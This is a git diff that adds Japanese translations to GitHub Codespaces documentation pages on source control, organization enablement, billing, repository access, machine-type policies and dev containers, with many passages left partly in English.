+必要なすべての Git アクションを codespace 内で直接実行できます。 たとえば、リモートリポジトリから変更をフェッチしたり、ブランチを切り替えたり、新しいブランチを作成したり、変更をコミットしてプッシュしたり、プルリクエストを作成したりすることができます。 Codespace 内の統合ターミナルを使用して Git コマンドを入力するか、アイコンとメニューオプションをクリックして最も一般的な Git タスクをすべて完了することができます。 このガイドでは、ソースコントロールにグラフィカルユーザインターフェースを使用する方法について説明します。
 
-Source control in {% data variables.product.prodname_github_codespaces %} uses the same workflow as {% data variables.product.prodname_vscode %}. For more information, see the {% data variables.product.prodname_vscode %} documentation "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)."
+{% data variables.product.prodname_github_codespaces %} 内のソースコントロールは、{% data variables.product.prodname_vscode %} と同じワークフローを使用します。 詳しい情報については、{% data variables.product.prodname_vscode %} のドキュメント「[VS Code でバージョン管理を使用する](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)」を参照してください。
 
-A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be:
+{% data variables.product.prodname_github_codespaces %} を使用してファイルを更新するための一般的なワークフローは次のとおりです。
 
-* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
-* In your codespace, create a new branch to work on.
-* Make your changes and save them.
-* Commit the change.
-* Raise a pull request.
+* {% data variables.product.prodname_dotcom %} のリポジトリのデフォルトブランチから、codespace を作成します。 「[codespace を作成する](/codespaces/developing-in-codespaces/creating-a-codespace)」を参照してください。
+* Codespace で、作業する新しいブランチを作成します。
+* 変更を加えて保存します。
+* 変更をコミットします。
+* プルリクエストを発行します。
 
-## Creating or switching branches
+## ブランチの作成または切り替え
 
 {% data reusables.codespaces.create-or-switch-branch %}
 
 {% tip %}
 
-**Tip**: If someone has changed a file on the remote repository, in the branch you switched to, you will not see those changes until you pull the changes into your codespace. 
+**ヒント**: リモートリポジトリのファイルを変更すると、変更を codespace にプルするまで切り替えたブランチに変更が表示されません。
 
 {% endtip %}
 
-## Pulling changes from the remote repository
+## リモートリポジトリから変更をプルする
 
-You can pull changes from the remote repository into your codespace at any time. 
+リモートリポジトリからいつでも codespace に変更をプルできます。
 
 {% data reusables.codespaces.source-control-display-dark %}
-1. At the top of the side bar, click the ellipsis (**...**).
-![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button.png)
-1. In the drop-down menu, click **Pull**.
+1. サイドバーの上部にある省略記号(**...**) をクリックします。 ![[View] および [More Actions] の省略記号ボタン](/assets/images/help/codespaces/source-control-ellipsis-button.png)
+1. ドロップダウンメニューで、[**Pull**] をクリックします。
 
 If the dev container configuration has been changed since you created the codespace, you can apply the changes by rebuilding the container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)."
 
-## Setting your codespace to automatically fetch new changes 
+## 新しい変更を自動的にフェッチするように codespace を設定する
 
-You can set your codespace to automatically fetch details of any new commits that have been made to the remote repository. This allows you to see whether your local copy of the repository is out of date, in which case you may choose to pull in the new changes. 
+リモートリポジトリに対して行われた新しいコミットの詳細を自動的にフェッチするように codespace を設定できます。 これにより、リポジトリのローカルコピーが古くなっているかどうかを確認できます。古くなっている場合は、新しい変更をプルすることができます。
 
-If the fetch operation detects new changes on the remote repository, you'll see the number of new commits in the status bar. You can then pull the changes into your local copy.
+フェッチ操作でリモートリポジトリの新しい変更が検出されると、ステータスバーに新しいコミットの数が表示されます。 その後、変更をローカルコピーにプルできます。
 
-1. Click the **Manage** button at the bottom of the Activity Bar.
-![Manage button](/assets/images/help/codespaces/manage-button.png)
-1. In the menu, slick **Settings**.
-1. On the Settings page, search for: `autofetch`.
-![Search for autofetch](/assets/images/help/codespaces/autofetch-search.png)
-1. To fetch details of updates for all remotes registered for the current repository, set **Git: Autofetch** to `all`.
-![Enable Git autofetch](/assets/images/help/codespaces/autofetch-all.png)
-1. If you want to change the number of seconds between each automatic fetch, edit the value of **Git: Autofetch Period**.
+1. アクティビティバーの下部にある [**Manage**] ボタンをクリックします。 ![ボタンを管理する](/assets/images/help/codespaces/manage-button.png)
+1. メニューで [**Settings**] をクリックします。
+1. [Settings] ページで `autofetch` を検索します。 ![自動フェッチを検索する](/assets/images/help/codespaces/autofetch-search.png)
+1. 現在のリポジトリに登録されているすべてのリモートの更新の詳細をフェッチするには、**Git: Autofetch** を `all` に設定します。 ![Git 自動フェッチを有効にする](/assets/images/help/codespaces/autofetch-all.png)
+1. 各自動フェッチ間の秒数を変更する場合は、**Git: Autofetch Period** の値を編集します。
 
-## Committing your changes 
+## 変更をコミットする
 
-{% data reusables.codespaces.source-control-commit-changes %} 
+{% data reusables.codespaces.source-control-commit-changes %}
 
-## Raising a pull request
+## プルリクエストを発行する
 
-{% data reusables.codespaces.source-control-pull-request %} 
+{% data reusables.codespaces.source-control-pull-request %}
 
-## Pushing changes to your remote repository
+## リモートリポジトリに変更をプッシュする
 
-You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}.
+行なった変更はプッシュできます。 それにより、変更がリモートリポジトリの上流ブランチに適用されます。 プルリクエストの作成準備が整っていない場合、または {% data variables.product.prodname_dotcom %} でプルリクエストを作成する場合は、この操作を行うことをお勧めします。
 
-1. At the top of the side bar, click the ellipsis (**...**).
-![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
-1. In the drop-down menu, click **Push**.
+1. サイドバーの上部にある省略記号(**...**) をクリックします。 ![[View] および [More Actions] の省略記号ボタン](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
+1. ドロップダウンメニューで、[**Push**] をクリックします。
diff --git a/translations/ja-JP/content/codespaces/guides.md b/translations/ja-JP/content/codespaces/guides.md
index 5607e64f4d..dabb92ed63 100644
--- a/translations/ja-JP/content/codespaces/guides.md
+++ b/translations/ja-JP/content/codespaces/guides.md
@@ -1,6 +1,6 @@
 ---
-title: Codespaces guides
-shortTitle: Guides
+title: Codespaces のガイド
+shortTitle: ガイド
 product: '{% data reusables.gated-features.codespaces %}'
 intro: Learn how to make the most of GitHub
 allowTitleToDifferFromFilename: true
diff --git a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
index 7e68cd8fd1..791f2084b3 100644
--- a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
+++ b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
@@ -1,7 +1,7 @@
 ---
 title: Enabling Codespaces for your organization
 shortTitle: Enable Codespaces
-intro: 'You can control which users in your organization can use {% data variables.product.prodname_codespaces %}.'
+intro: 'Organization 内のどのユーザが {% data variables.product.prodname_codespaces %} を使用できるかを制御できます。'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage user permissions for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner.'
 redirect_from:
@@ -19,29 +19,29 @@ topics:
 
 ## About enabling {% data variables.product.prodname_codespaces %} for your organization
 
-Organization owners can control which users in your organization can create and use codespaces.
+Organization のオーナーは、Organization 内のどのユーザが Codespaces を作成および使用できるかを制御できます。
 
 To use codespaces in your organization, you must do the following:
 
-- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. 
-- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#configuring-which-users-in-your-organization-can-use-codespaces). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users.
+- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace.
+- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#enable-codespaces-for-users-in-your-organization). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users.
 - [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
-- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+- Ensure that your organization does not have an IP address allow list enabled. 詳細は「[ Organization に対する許可 IP アドレスを管理する](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)」を参照してください。
 
-By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)."
+By default, a codespace can only access the repository from which it was created. Organization 内の Codespaces で、codespace の作者がアクセスできる他の Organization リポジトリにアクセスできるようにする場合は、「[{% data variables.product.prodname_codespaces %} のアクセスとセキュリティを管理する](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)」を参照してください。
 
 ## Enable {% data variables.product.prodname_codespaces %} for users in your organization
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "User permissions", select one of the following options:
+1. [User permissions] で、次のいずれかのオプションを選択します。
 
-   * **Selected users** to select specific organization members to use {% data variables.product.prodname_codespaces %}.
+   * [**Selected users**] にすると、{% data variables.product.prodname_codespaces %} を使用する特定の Organization メンバーを選択できます。
    * **Allow for all members** to allow all your organization members to use {% data variables.product.prodname_codespaces %}.
    * **Allow for all members and outside collaborators** to allow all your organization members as well as outside collaborators to use {% data variables.product.prodname_codespaces %}.
 
-   ![Radio buttons for "User permissions"](/assets/images/help/codespaces/org-user-permission-settings-outside-collaborators.png)
+   !["User permissions" のラジオボタン](/assets/images/help/codespaces/org-user-permission-settings-outside-collaborators.png)
 
    {% note %}
 
@@ -49,7 +49,7 @@ By default, a codespace can only access the repository from which it was created
 
    {% endnote %}
 
-1. Click **Save**.
+1. [**Save**] をクリックします。
 
 ## Disabling {% data variables.product.prodname_codespaces %} for your organization
 
@@ -60,6 +60,6 @@ By default, a codespace can only access the repository from which it was created
 
 ## Setting a spending limit
 
-{% data reusables.codespaces.codespaces-spending-limit-requirement %} 
+{% data reusables.codespaces.codespaces-spending-limit-requirement %}
 
-For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
+アカウントの利用上限の管理と変更については、「[{% data variables.product.prodname_codespaces %} の利用上限の管理](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)」を参照してください。
diff --git a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/index.md b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/index.md
index 23408bb2ce..4c0d052467 100644
--- a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/index.md
+++ b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/index.md
@@ -13,6 +13,7 @@ children:
   - /managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces
   - /managing-repository-access-for-your-organizations-codespaces
   - /reviewing-your-organizations-audit-logs-for-codespaces
+  - /restricting-access-to-machine-types
 shortTitle: Managing your organization
 ---
 
diff --git a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
index 1df624ccef..e5d92db636 100644
--- a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
+++ b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
@@ -13,7 +13,7 @@ topics:
   - Billing
 ---
 
-## Overview
+## 概要
 
 To learn about pricing for {% data variables.product.prodname_codespaces %}, see "[{% data variables.product.prodname_codespaces %} pricing](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)."
 
@@ -23,13 +23,13 @@ To learn about pricing for {% data variables.product.prodname_codespaces %}, see
 
 - For users, there is a guide that explains how billing works: ["Understanding billing for Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces)
 
-## Usage limits
+## 使用制限
 
 You can set a usage limit for the codespaces in your organization or repository. This limit is applied to the compute and storage usage for {% data variables.product.prodname_codespaces %}:
- 
+
 - **Compute minutes:** Compute usage is calculated by the actual number of minutes used by all {% data variables.product.prodname_codespaces %} instances while they are active. These totals are reported to the billing service daily, and is billed monthly. You can set a spending limit for {% data variables.product.prodname_codespaces %} usage in your organization. For more information, see "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
 
-- **Storage usage:**  For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)."
+- **Storage usage:**  For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. 月末に、{% data variables.product.prodname_dotcom %}はストレージ使用量を最も近いGBに丸めます。 To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)."
 
 ## Disabling or limiting {% data variables.product.prodname_codespaces %}
 
@@ -37,12 +37,14 @@ You can disable the use of {% data variables.product.prodname_codespaces %} in y
 
 You can also limit the individual users who can use {% data variables.product.prodname_codespaces %}. For more information, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
 
+You can limit the choice of machine types that are available for repositories owned by your organization. This allows you to prevent people using overly resourced machines for their codespaces. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
 ## Deleting unused codespaces
 
-Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. 
+Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code.
 
 {% note %}
 
-**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization.
+**注釈:** codespace を作成したユーザだけが削除できます。 現在、Organization のオーナーが Organization 内で作成された Codespaces を削除する方法はありません。
 
 {% endnote %}
diff --git a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
index 10088f39bd..55f854f65d 100644
--- a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
+++ b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
@@ -1,7 +1,7 @@
 ---
 title: Managing repository access for your organization's codespaces
 shortTitle: Repository access
-intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_codespaces %} can access.'
+intro: '{% data variables.product.prodname_codespaces %} がアクセスできる Organization 内のリポジトリを管理できます。'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage access and security for Codespaces for an organization, you must be an organization owner.'
 versions:
@@ -18,18 +18,16 @@ redirect_from:
   - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces
 ---
 
-By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust.
+デフォルト設定では、Codespace は作成されたリポジトリにのみアクセスできます。 When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. 信頼するリポジトリに対してのみ、アクセスとセキュリティを有効にしてください。
 
-To manage which users in your organization can use {% data variables.product.prodname_codespaces %}, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
+Organization 内のどのユーザが {% data variables.product.prodname_codespaces %} を使用できるかを管理するには、「[Organization のユーザ権限を管理する](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)」を参照してください。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "Access and security", select the setting you want for your organization.
-  ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
-1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories.
-    !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
+1. [Access and security] で、あなたの Organization の設定を選択します。 ![信頼するリポジトリを管理するラジオボタン](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
+1. [Selected repositories] を選択した場合、ドロップダウンメニューを選択してから、あなたの Organization が所有するその他のリポジトリにアクセスを許可する、リポジトリのコードスペースをクリックします。 その他のリポジトリにコードスペースによるアクセスを許可したい、すべてのリポジトリについて同じ手順を繰り返します。 ![[Selected repositories]ドロップダウンメニュー](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
 
-## Further Reading
+## 参考リンク
 
 - "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"
diff --git a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
new file mode 100644
index 0000000000..fbb2e9d8e7
--- /dev/null
+++ b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
@@ -0,0 +1,94 @@
+---
+title: Restricting access to machine types
+shortTitle: Machine type access
+intro: You can set constraints on the types of machines users can choose when they create codespaces in your organization.
+product: '{% data reusables.gated-features.codespaces %}'
+permissions: 'To manage access to machine types for the repositories in an organization, you must be an organization owner.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## 概要
+
+Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. 詳しい情報については、「[codespace を作成する](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)」を参照してください。 If you pay for using {% data variables.product.prodname_github_codespaces %} then your choice of machine type will affect how much your are billed. For more information about pricing, see "[About billing for Codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)."
+
+As an organization owner, you may want to configure constraints on the types of machine that are available. For example, if the work in your organization doesn't require significant compute power or storage space, you can remove the highly resourced machines from the list of options that people can choose from. You do this by defining one or more policies in the {% data variables.product.prodname_codespaces %} settings for your organization.
+
+### Behavior when you set a machine type constraint
+
+If there are existing codespaces that no longer conform to a policy you have defined, these codespaces will continue to operate until they time out. When the user attempts to resume the codespace they are shown a message telling them that the currenly selected machine type is no longer allowed for this organization and prompting them to choose an alternative machine type.
+
+If you remove higher specification machine types that are required by the {% data variables.product.prodname_codespaces %} configuration for an individual repository in your organization, then it won't be possible to create a codespace for that repository. When someone attempts to create a codespace they will see a message telling them that there are no valid machine types available that meet the requirements of the repository's {% data variables.product.prodname_codespaces %} configuration.
+
+{% note %}
+
+**Note**: Anyone who can edit the `devcontainer.json` configuration file in a repository can set a minimum specification for machines that can be used for codespaces for that repository. For more information, see "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+{% endnote %}
+
+If setting a policy for machine types prevents people from using {% data variables.product.prodname_codespaces %} for a particular repository there are two options:
+
+* You can adjust your policies to specifically remove the restrictions from the affected repository.
+* Anyone who has a codespace that they can no longer access, because of the new policy, can export their codespace to a branch. This branch will contain all of their changes from the codespace. They can then open a new codespace on this branch with a compliant machine type or work on this branch locally. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
+
+### Setting organization-wide and repository-specific policies
+
+When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of machine more, not less, restrictive.
+
+For example, you could create an organization-wide policy that restricts the machine types to either 2 or 4 cores. You can then set a policy for Repository A that restricts it to just 2-core machines. Setting a policy for Repository A that restricted it to machines with 2, 4, or 8 cores would result in a choice of 2-core and 4-core machines only, because the organization-wide policy prevents access to 8-core machines.
+
+If you add an organization-wide policy, you should set it to the largest choice of machine types that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice.
+
+## Adding a policy to limit the available machine types
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.click-codespaces %}
+1. Under "Codespaces", click **Policy**.
+
+   !["Policy" tab in left sidebar](/assets/images/help/organizations/codespaces-policy-sidebar.png)
+
+1. On the "Codespace policies" page, click **Create Policy**.
+1. Enter a name for your new policy.
+1. Click **Add constraint** and choose **Machine types**.
+
+   ![Add a constraint for machine types](/assets/images/help/codespaces/add-constraint-dropdown.png)
+
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the constraint, then clear the selection of any machine types that you don't want to be available.
+
+   ![Edit the machine type constraint](/assets/images/help/codespaces/edit-machine-constraint.png)
+
+1. In the "Change policy target" area, click the dropdown button.
+1. Choose either **All repositories** or **Selected repositories** to determine which repositories this policy will apply to.
+1. [**Selected repositories**] を選択した場合、以下の手順に従います。
+   1. {% octicon "gear" aria-label="The settings icon" %} をクリックします。
+
+      ![Edit the settings for the policy](/assets/images/help/codespaces/policy-edit.png)
+
+   1. Select the repositories you want this policy to apply to.
+   1. At the bottom of the repository list, click **Select repositories**.
+
+      ![Select repositories for this policy](/assets/images/help/codespaces/policy-select-repos.png)
+
+1. [**Save**] をクリックします。
+
+## Editing a policy
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the name of the policy you want to edit.
+1. Make the required changes then click **Save**.
+
+## Deleting a policy
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the delete button to the right of the policy you want to delete.
+
+   ![The delete button for a policy](/assets/images/help/codespaces/policy-delete.png)
+
+## 参考リンク
+
+- "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)"
diff --git a/translations/ja-JP/content/codespaces/managing-your-codespaces/index.md b/translations/ja-JP/content/codespaces/managing-your-codespaces/index.md
index e761e9a65c..f29c8486a7 100644
--- a/translations/ja-JP/content/codespaces/managing-your-codespaces/index.md
+++ b/translations/ja-JP/content/codespaces/managing-your-codespaces/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your codespaces
-intro: 'You can use {% data variables.product.prodname_github_codespaces %} settings to manage information that your codespace might need.'
+title: Codespaces を管理する
+intro: '{% data variables.product.prodname_github_codespaces %} 設定を使用して、codespace に必要な情報を管理できます。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,4 +15,4 @@ children:
   - /reviewing-your-security-logs-for-codespaces
   - /managing-gpg-verification-for-codespaces
 ---
- 
+
diff --git a/translations/ja-JP/content/codespaces/overview.md b/translations/ja-JP/content/codespaces/overview.md
index 82baf5c9f1..05d79b7972 100644
--- a/translations/ja-JP/content/codespaces/overview.md
+++ b/translations/ja-JP/content/codespaces/overview.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Codespaces overview
-shortTitle: Overview
+shortTitle: 概要
 product: '{% data reusables.gated-features.codespaces %}'
 intro: 'This guide introduces {% data variables.product.prodname_codespaces %} and provides details on how it works and how to use it.'
 allowTitleToDifferFromFilename: true
@@ -36,7 +36,7 @@ If you don't do any custom configuration, {% data variables.product.prodname_cod
 
 You can also personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository and [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync). Personalization can include shell preferences, additional tools, editor settings, and VS Code extensions. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)".
 
-## About billing for {% data variables.product.prodname_codespaces %}
+## {% data variables.product.prodname_codespaces %}の支払いについて
 
 For information on pricing, storage, and usage for {% data variables.product.prodname_codespaces %}, see "[Managing billing for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)."
 
diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
index 1b2d962e19..4e1820d034 100644
--- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
+++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
@@ -1,6 +1,6 @@
 ---
 title: Introduction to dev containers
-intro: 'You can use a `devcontainer.json` file to define a {% data variables.product.prodname_codespaces %} environment for your repository.'
+intro: '「devcontainer.json」ファイルを使用して、リポジトリの {% data variables.product.prodname_codespaces %} 環境を定義できます。'
 allowTitleToDifferFromFilename: true
 permissions: People with write permissions to a repository can create or edit the codespace configuration.
 redirect_from:
@@ -21,32 +21,32 @@ product: '{% data reusables.gated-features.codespaces %}'
 
  
 
-## About dev containers
+## 開発コンテナについて
 
-A development container, or dev container, is the environment that {% data variables.product.prodname_codespaces %} uses to provide the tools and runtimes that your project needs for development. If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)."
+開発コンテナ (development container)、または開発コンテナ (dev container) は、{% data variables.product.prodname_codespaces %} がプロジェクトの開発に必要なツールとランタイムを提供するために使用する環境です。 If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)."
 
-If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." The option you choose is dependent on the tools, runtimes, dependencies, and workflows that a user might need to be successful with your project.
+If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." 選択するオプションは、ユーザのプロジェクトが上手くいくために必要なツール、ランタイム、依存関係、およびワークフローによって異なります。
 
-{% data variables.product.prodname_codespaces %} allows for customization on a per-project and per-branch basis with a `devcontainer.json` file. This configuration file determines the environment of every new codespace anyone creates for your repository by defining a development container that can include frameworks, tools, extensions, and port forwarding. A Dockerfile can also be used alongside the `devcontainer.json` file in the `.devcontainer` folder to define everything required to create a container image.
+{% data variables.product.prodname_codespaces %} は、`devcontainer.json` ファイルを使用して、プロジェクトごとおよびブランチごとにカスタマイズできます。 この設定ファイルは、フレームワーク、ツール、機能拡張、およびポート転送を含めることができる開発コンテナを定義することにより、リポジトリ用に作成するすべての新しい codespace の環境を決定します。 Dockerfile を `.devcontainer` フォルダ内の `devcontainer.json` ファイルと一緒に使用して、コンテナイメージの作成に必要なすべてを定義することもできます。
 
 ### devcontainer.json
 
 {% data reusables.codespaces.devcontainer-location %}
 
-You can use your `devcontainer.json` to set default settings for the entire codespace environment, including the editor, but you can also set editor-specific settings for individual [workspaces](https://code.visualstudio.com/docs/editor/workspaces) in a codespace in a file named `.vscode/settings.json`.
+`devcontainer.json` を使用して、エディタを含む codespace 環境全体のデフォルト設定をすることができますが、`.vscode/settings.json` という名前のファイルの codespace 内の個々の[ワークスペース](https://code.visualstudio.com/docs/editor/workspaces)にエディタ固有の設定をすることもできます。
 
-For information about the settings and properties that you can set in a `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation.
+`devcontainer.json` で可能な設定とプロパティについては、{% data variables.product.prodname_vscode %} ドキュメントの [devcontainer.json リファレンス](https://aka.ms/vscode-remote/devcontainer.json)を参照してください。
 
 ### Dockerfile
 
-A Dockerfile also lives in the `.devcontainer` folder. 
+Dockerfile は `.devcontainer` フォルダにもあります。
 
-You can add a Dockerfile to your project to define a container image and install software. In the Dockerfile, you can use `FROM` to specify the container image.
